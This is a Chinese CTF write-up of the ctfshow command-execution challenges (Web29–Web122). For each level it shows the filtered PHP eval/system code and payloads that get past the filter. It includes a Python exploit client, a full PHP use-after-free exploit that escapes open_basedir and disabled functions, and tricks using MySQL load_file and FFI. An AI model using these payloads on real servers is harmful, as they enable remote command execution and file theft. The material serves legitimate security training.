ctfshow命令执行全部wp
Web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=system("cat fla?.php");
//?c=system("/bin/?at fla?.php");
Web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=passthru("cat fla?.p?p");
Web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=passthru("tac%09fla*");
//?c=eval($_GET[1]);&1=system('tac flag.php');
//?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
无参函数读取
Web32(include包含)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>
Web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>
Web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>
Web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>
Web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>
Web37(自带include)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
//?c=data:text/plain,<?php system("cat fl*");?>
//?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//<?php system("cat flag.php");?> 进行 base64 编码
Web38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
//?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//?c=data:text/plain,<?=system("tac f*")?>
//php短标签绕过
Web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
//?c=data:text/plain,<?php system("cat fl*");?>
data://text/plain,这样就相当于执行了 php 语句。.php 因为前面的 php 语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用
//?c=data://text/plain,<?php system('cat fl*')?>)?><?php
Web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
//?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
//?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php");
get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括URL屁股后面接的pay),这里源码只定义了一个变量即c,加上你引入的pay就两个变量值了。reset用于将指向返回变量数组的指针指向第一个变量即c,next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码。
//?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
第三种方法解释(同第一种)

Web41(或运算)
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0~255的字符中,找到或运算能得到我们可用的字符的字符。
生成可用字符的集合 rce_or.php
大体意思就是从进行异或的字符中排除掉被过滤的,然后再判断异或得到的字符是否为可见字符
然后再使用python Web_41_exp.py (url)
#rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# Web_41_exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\Web41_rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

Web42(>/dev/null)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
" >/dev/null 2>&1"相当于黑洞,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

法一:
所以payload
?c=ls&&ls ?c=ls%26%26ls
因为是url传过去的,所以要记得用url编码,不然没有回显(切记对&&等表示两个参数的分隔符用url编码,不然没有回显)
?c=cat f*%26%26ls
法二:
?c=cat flag.php%0a
这里的%0a是URL编码,表示换行符(\n) ,命令会被解析为:
cat flag.php
并且输出被重定向到/dev/null,错误也被丢弃
Web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac flag.php%0a
//?c=tac f*%26%26ls
Web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac fl?g.php%0a
//?c=tac f*%26%26ls
Web45(过滤空格)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09f*%26%26ls
Web46(过滤数字,$,*,空格)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26
Web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26
Web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26
Web49
<?php
\if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26
Web50(过滤Tab,&)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=tac<fl''ag.php||
Web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=nl<fl''ag.php||
Web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//?c=ls${IFS}/||
//?c=nl${IFS}/fla?||
Web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
//?c=nl${IFS}fla?.php
//?c=c''at${IFS}fla''g.p''hp
Web54(字符拼接过滤*)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//?c=/bin/?at${IFS}f???.php
必须f???.php
//?c=vi${IFS}f???.php
Linux的很多命令存放在/bin/目录下,且可以通过绝对路径来使用,而且支持通配符。
如cat命令也可以这样使用:/bin/?at
Web55(过滤字母但没过滤数字,点)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php
//?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php 使用/usr/bin/bzip2 对文件进行压缩
最后访问/flag.php.bz2即可 下载下来的压缩包中包含flag.php

方法三:无字母数字webshell
先构造一个post请求并上传文件。由于没有过滤".",所以通过执行文件中的Linux命令获取flag
创建html文件

本地访问,随机上传一个文件 比如1.php
然后传入
/?c=.+/???/????????[@-[]]
"."(点)的用法,就是相当于source可以执行sh命令
一般来说文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写
后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母
post参数改为
#!/bin/sh
cat /flag.php


Web56
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
同Web55法三
Web57(过滤字母数字点$(()) 运算)
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

法二:
//?c=grep${IFS}'fla'${IFS}fla??php
Web58(POST请求)
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
hackbar post传参c
c=show_source("flag.php");
c=highlight_file("flag.php");
方法二:
使用伪协议
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
Web59~Web65
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
c=show_source("flag.php");
c=highlight_file("flag.php");
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=file_get_contents('flag.php');
Web66
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
c=print_r(scandir("/"));
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");
Web67~Web70
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
c=var_dump(scandir("/"));
c=var_export(scandir('/'));
c=highlight_file("/flag.txt");
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";
c=require("/flag.txt");
Web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//得到输出缓冲区的内容
ob_end_clean();//清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
可以执行php代码让后面的匹配缓冲区不执行直接退出。
c=var_export(scandir("/"));exit();//exit()输出一个消息并且退出当前脚本
c=require("/flag.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";exit();
Web72(利用php垃圾回收 uaf脚本 绕过open_basedir)
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
输入c=var_export(scandir("./"));exit(); 返回:

输入c=var_export(scandir("/"));exit(); 返回:

也就是说,本题设置了open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir()不能用ini_set()重新设置绕过。
https://www.freesion.com/article/5349629378/
附上一个用ini_set绕过open_basedir的脚本地址,本题不可用
首先要确定flag文件的位置。这里使用php伪协议glob://
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

payload里的内容如下
<?php
$a = new DirectoryIterator("glob:///*");
# 利用DirectoryIterator($path)可以实现遍历目录下的所有文件
# glob:// — 查找匹配的文件路径模式
# DirectoryIterator("glob:///*") 遍历根目录里所有文件
foreach ($a as $f)
{
echo ($f->__toString().' ');#循环遍历输出,并以空格为分隔
}
exit(0);
?>
据说利用了 php 的垃圾回收机制。代码涉及到偏移地址之类的。
这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
把以上代码通过 url 编码,然后传递即可 前面记得加上 ?>

Web73
和71 72类似 但是比72简单
c=var_export(scandir("/"));exit();
c=require("/flagc.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flagc.txt";exit();
Web74(scandir被禁用)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
c=require("/flagx.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flagx.txt";exit();
Web75Web76(open_basedir另一种mysql用法)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
#PDO PHP Data Object的缩写。统一各种数据库的访问接口。
# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";#load_file() 读取一个文件并将其内容作为字符串返回。
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);
#得知数据库名字
#https://blog.csdn.net/m0_48780534/article/details/125095560?ydreferer=aHR0cHM6Ly93d3cuY3Nkbi5uZXQvP3NwbT0xMDA4LjIwMjguMzAwMS40NDc2
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
就是通过php PDO连接数据库,通过数据库的函数间接查询文件内容
Web77(FFI)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

存在flag36x.txt 和 readflag
尝试执行
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

发现不让用mysql
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
然后再去访问/1.txt获得flag
$ffi = FFI::cdef("int system(const char *command);"); //创建一个system对象
$a='/readflag > 1.txt'; //因为页面不会回显,所以将内容输出到1.txt
$ffi->system($a); //通过$ffi去调用system函数
这个方式成功绕过了php对system函数的限制
FFI,php7.4以上才有
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。
Web118(环境变量)
先fuzz测试一下 发现能用的只有大写字母和一些特定的符号字符
构造bash内置变量
我们的payload可以使用nl flag.php nl使用变量构造,flag.php使用 ????.??? 通配符绕过

所以,${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl。
${PATH:~A}${PWD:~A} ????.???
相当于nl flag.php

其余可行payload:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PWD:~A:${##}} ????.???
yu师傅提供的默认配置文件下的文件

Web119(多过滤了PATH)
扩展一下Bash内置变量构造字符:
${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。
IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3
payload 如下:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Web120(长度限64以内)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
Web121(过滤SHLVL等)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
HOME、USER、SHLVL被过滤了
过滤${#SHLVL}可以用${##}、${#?}
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Web122(过滤 # PWD)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这次过滤了PWD、#,之前所有payload都用不了
我们选择使用base64来获取flag。(/bin/base64 flag.php,目标是构造/???/?????4 ????.???)
过滤了PWD,我们还能用HOME。无论HOME是什么(/xxx/xxx),HOME的第一位肯定是/。
然后我们只需要解决一个如何构造数字了,我们需要构造1和4
我们可以利用$s?,获取上一条命令执行结束后的返回值
先<A;在然后的$?就是1
数字4还是用RANDOM随机数来获取,不过是换种方式,十分之一的概率,多发几次包
payload:(${Z}代表0)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
